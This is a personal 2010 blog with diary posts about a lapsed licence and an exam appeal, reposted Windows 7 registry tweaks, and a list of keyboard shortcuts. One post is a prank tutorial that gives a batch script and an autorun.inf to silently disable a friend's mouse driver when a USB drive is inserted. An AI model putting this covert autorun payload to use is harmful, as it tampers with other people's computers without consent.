Friday, May 28, 2010

owh...my license

ahaha..i can't go out today actually...with the date 30/04/2008 - 29/04/2010 i miss a chance to renew the "valuable card" for the due date, .. so for today in the morning, i can't go out...to "penang" with my motor...so i make a deal with my fwen to hold me until we reach at the destination that we're desire most, and i have to think bout paying the bill to da police/jpj wahaha......and after that i'll think bout to renew my license too....

such a clumsy in me...
hope that (sekolah menengah teknik seberang perai)smtsppp would open ups da big gate for me and for my fwen....




Tuesday, May 25, 2010

Disable Your Friend’s Mouse Whenever USB Disk Is Inserted


Batch scripting is really easy and so much a fun. You can learn and imagine so many things from batch and shell scripting.


In this short time pass tutorial, I am going to show you how to disable your friend’s mouse whenever your USB drive is inserted.


To get this feature working, you must make sure that your friend has not disabled autorun for removable media. However you may get this to work by creating a fake icon for the batch program.


As we did with our previous tutorial about copying files automatically, we’ll be using same principle here. First we’ll create a batch file and then we’ll be creating autorun.inf file. Then we’ll be pasting it in the root of USB drive. Now whenever the USB drive is inserted, system will look for autorun.inf. Autorun.inf will execute that batch file disabling the mouse.


@echo off
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4


Copy the above code in notepad and save it as “filename.bat”


The above code will disable the mouse by deleteing the registry key of Mouclass and again adds data = 0×00000004 to the valuename = “Start”











Note: The above image is only demonstrates where the action will be taken by the above batch script. It has to do nothing with the procedure of this tutorial.


[autorun]
Open=filename.bat
Action=Mouse Disable

The above code goes for autorun.inf. Open notepad, copy and paste the above code in it and save it as “autorun.inf”.


Now copy both of the file in your or your friend’s USB drive. Then let it do the magic.


To re-enable the mouse you’ll just have to change the value 0×00000004 to 0×00000001. To do so, simply create another batch file with following script:

@echo off
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 1

Change Windows Logon Screen, IE8's Title Bar, and Aero Snap


1. Change Your Logon Screen Background
Changing the wallpaper on your desktop is one of the easiest things to do in Windows. But if you can have that display any image you want, why not do the same with your logon screen?
1. Navigate to HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
CurrentVersion\Authentication\LogonUI\Background.
2. Find the "OEMBackground" key; or right-click in the right pane and select "New," then "DWORD (32-bit) Value" to create it (and then give it that name).
3. Double-click on "OEMBackground" to open it.
4. Change the value in the "Value data" field to 1.
5. Click OK.
6. Using Windows Explorer, navigate to your Windows directory, then System32\oobe. If there's a folder in here called "info," go into it; if there's a folder inside of that one called "backgrounds," go into that. If neither exists, you'll need to create them both first.
7. Copy the image (it must be a JPEG, and smaller than 256KB in size) you want to use as your logon screen background into the info\backgrounds folder.
8. Rename the image backgroundDefault.jpg. (Note: If you choose an image that's sized differently than your desktop and you change your resolution, it will be adjusted to fit—with a possible loss in quality. The info\background folder also supports 12 other files of specific resolutions. The files should be named backgroundXXXXX.jpg, where the XXXXX is one of the following: 900x1440, 960x1280, 1024x1280, 1280x1024, 1024x768, 1280x960, 1600x1200, 1440x900, 1920x1200, 1280x768, or 1360x768. For example, background1920x1200.jpg will be used at 1,920-by-1,200 resolution, and so on.)
The next time you restart your computer, or log out, you'll see this image as the new logon screen. If you chose an image that prevents the buttons and text from looking their best on the logon screen, you can adjust their appearance as well.
1. Navigate back to HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
CurrentVersion\Authentication\LogonUI (you're not going into Background this time).
2. Add a DWORD value called "ButtonSet."
3. Change its value to either 1 (darker text shadows and lighter buttons, intended for lighter backgrounds) or 2 (no text shadows and opaque buttons, for darker backgrounds); 0 is the Windows default.


7 Windows 7 Registry Hacks - IE8 Title Bar
2. Personalize the IE8 Title Bar
If you use Internet Explorer 8 in Windows 7, you're probably familiar with the browser's title bar, which appends "Windows Internet Explorer" to the end of every page name. Why not change it to something a little more... you?
1. Navigate to HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main.
2. Right-click in the right panel, click "New," and then select "String Value."
3. Name the string value you just created "Window Title" (space included).
4. Double-click on Window Title.
5. Type your personalized title in the "Value data" field.
6. Click OK.

3. Turn Off Aero Snap
Implemented as an easier way to arrange windows on your desktop, Aero Snap will automatically maximize a window if you drag it to the top of the screen, or resize a window to use exactly half your display's width if you drag it all the way to the left or the right. If you don't find this feature convenient, you can disable it.
1. Navigate to HKEY_CURRENT_USER\Control Panel\Desktop.
2. Scroll down to "WindowArrangementActive" in the right-hand pane, and double-click it to open it.
3. Change the number in the "Value data" field from 1 (Aero Snap is enabled) to 0.
4. Click OK.

Taskbar Tweaks

4. Change Taskbar Button Stacked Window Behavior
By default, the Taskbar groups together multiple windows of a single app, then displays all of them as thumbnails when you click on the program's Taskbar icon. If you think it would be more handy to have Windows automatically open the last window when you click the icon, you can make that happen.
1. Navigate to HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Explorer\Advanced.
2. Right-click in the right pane, and select "New" then "DWORD (32-bit) Value."
3. Rename the new DWORD value "LastActiveClick."
4. Double-click on LastActiveClick to open it.
5. Change the value in the "Value data" field to 1.
6. Click OK.


7 Windows 7 Registry Hacks - Taskbar Buttons
5. Change the Width of Taskbar Buttons
Windows 7 is set up to always combine Taskbar buttons from the same program and never display their labels. If, however, you've changed the setting to either not combine the windows at all or to only combine them when the Taskbar is full, you can change the icons' width to hide the labels there, too. Here's how.
1. Navigate to HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics
2. Scroll to find the "MinWidth" entry. If it's not there, you'll have to create it yourself. Right-click in the right pane, select New, then Select "String Value," and name the object MinWidth.
3. Double-click MinWidth to open it.
4. Change the number in the "Value Data" field the width you want to allot to the icons. With the default small buttons, 38 is sufficient; with the larger icons, you'll want about 52.
5. Click OK.


6. Change the Delay Time of Taskbar Previews
Among the cooler features in Windows 7 are Taskbar previews, which appear when you hover the mouse cursor over the Taskbar icon of a currently running program. But when you do this, the preview doesn't appear immediately. Luckily, it's easy to speed it up (r, for whatever reason, slow it down.
1. Navigate to HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Explorer\Advanced
2. Right-click in the right pane, click "New," and click "DWORD Value" or "DWORD (32-bit) Value."
3. Name the new DWORD "ExtendedUIHoverTime."
4. Double click on ExtendedUIHoverTime to open it.
5. Click the "Decimal" radio button in the "Base" section. In the "Value data" field, enter the delay time (in milliseconds) for the preview to appear. (The Windows standard is 400ms.)
6. Click "OK" to commit the change.
When you hover the mouse cursor over one of the previews, all your other windows will disappear and show just that window. There's a delay associated with this, too. To change this, add a new DWORD in the same location called "ThumbnailLivePreviewHoverTime," and edit it the same way as above, setting its value to whatever you want (in ms).


7. Change the Delay Time of Aero Peek
Aero Peek is Windows 7's sleeker replacement for the old Show Desktop button. Just move your mouse cursor over the icon at the right end of the Taskbar to turn all your Windows invisible. But this, too, has a delay time associated with it, so if you find yourself accidentally activating it too often, you may want to increase the delay time. Here's how.
1. Navigate to HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Explorer\Advanced
2. Right-click in the right pane, click "New," and click "DWORD Value" or "DWORD (32-bit) Value."
3. Name the new DWORD "DesktopLivePreviewHoverTime."
4. Double click on DesktopLivePreviewHoverTime to open it.
5. Click the "Decimal" radio button in the "Base" section. In the "Value data" field, enter the delay time (in milliseconds) for the preview to appear. (The Windows standard is 1,000ms.)
6. Click "OK" to commit the change.

12 Windows 7 Shortcuts


Taskbar Shortcuts

Scroll through taskbar icons. Want to cycle through all the programs you have open without calling up Flip3D (with Windows key+Tab, in case you'd forgotten)? Windows key+T will guide you through all of your open programs and let you see their window thumbnails, but won't change what the rest of the screen is showing.

Start a new instance of an app. Changes made to the taskbar mean that clicking on a program icon placed there won't automatically start up a new instance of it. Instead, clicking will just show you what windows of it you already have open. But if you Shift-click or click the middle mouse button on a program's taskbar icon, you can start up another instance.

Start an elevated instance of an app. You can run a program with administrative credentials even if you're not logged into an administrator-level account. Shift-Ctrl-click on a taskbar icon to open an elevated instance of that app.

Close a taskbar thumbnail. There's a red X icon in the upper-right corner of each taskbar thumbnail window that you can use to close that window. Want an even quicker way? Click the middle mouse button on it.

Restore the last active window. New taskbar groupings make it easier than ever to organize the programs you have open in Windows 7. But there's a way to speed up the process even more. Ctrl-click on a taskbar group to open the last active window in that group. Keep clicking to cycle through all the windows you have open.

Open a Jump List. One of the most helpful new features of Windows 7 are Jump Lists, which give you instant access to frequently used commands. There are two ways top open them: Either right-click on a taskbar icon, or left-click and drag it upward.

Arrange windows with Snap. Windows 7's new Snap capability lets you arrange your windows in several cool ways, depending on where you drag them on the screen. But you need your mouse. With any open window, hold down the Windows key and then press an arrow key to cause the appropriate Snap behavior. Use Windows key + Up Arrow to maximize the window; Windows key + Left Arrow or Right Arrow to make the window fill either the left or right half of the screen; or use Windows key + Down Arrow to minimize the window, or restore it to its original size if it's been maximized.

Make all open windows invisible. With Aero Peek, moving the mouse pointer to the lower-right corner of the taskbar will make all your open windows turn invisible so you can see straight through to your desktop. To do this without your mouse, press Windows key+space bar.

Minimize all but the active window. Sometimes the best way to clear your head is by clearing your desktop of everything except what you're looking at. This is easy to do in Windows 7: Hit Windows key+Home to minimize every window except the one that's currently active.

Move a window to another display. Multiple-display setups can be a great convenience, but arranging your windows between them is sometimes challenging. Not in Windows 7. Hold down Shift and the Windows key with either the Left or Right Arrow key to send the window automatically to the display (or projector) in that position.

Use the magnifier. If you're having trouble seeing portions of the screen, whether because of vision problems or because you're running at too high a resolution for a specific task, pressing Windows key+Plus key will start up Windows' magnifier option and let you zoom in on your display. To make everything look smaller again when you're finished, hit Windows key+Minus key.

Set projection options. If you're using your Windows 7 PC with a projector, you can easily change your display options by hitting Windows key+P. You'll be given choices to display on just your computer or just the projector, show the same thing on both, or extend your projection.

Saturday, May 22, 2010

Appeal paper.....dont want it happen again..



appeal(examination paper)^2, a grade criterion that i must fulfill to accept the past paper...depend on subject that i've learned, maybe 1.1 until 4.1 and so on....
dont want to describe bout this matter...NQF matter....

today i'm gonna go back to my college,KPMSI PERAK i've appeal paper(MFR) hard to think bout it, i wanna rest rest and rest, but quiet this happen at last..


to concrete, i', so heavy at calculation subject matter...so that's why..(dont ask me yeah!!)......but, at least i dont ave to take the overall paper, or repeat paper....so so kay for me..:)

left(my picture..3rd semester 2009)

so tired, for the first, im planning go to college by motorcycle but the distance....wow...i can say that's a long distance la...about 256km.or more.i can't expect that...i dont ave pump and inner spare tube...to get ready if anything happens due hanging in motorcycle...em...so i decided to take a bus...she's also encourage me to take bus, because she's so worried bout me..hehe"i'll appreciated that for sure"...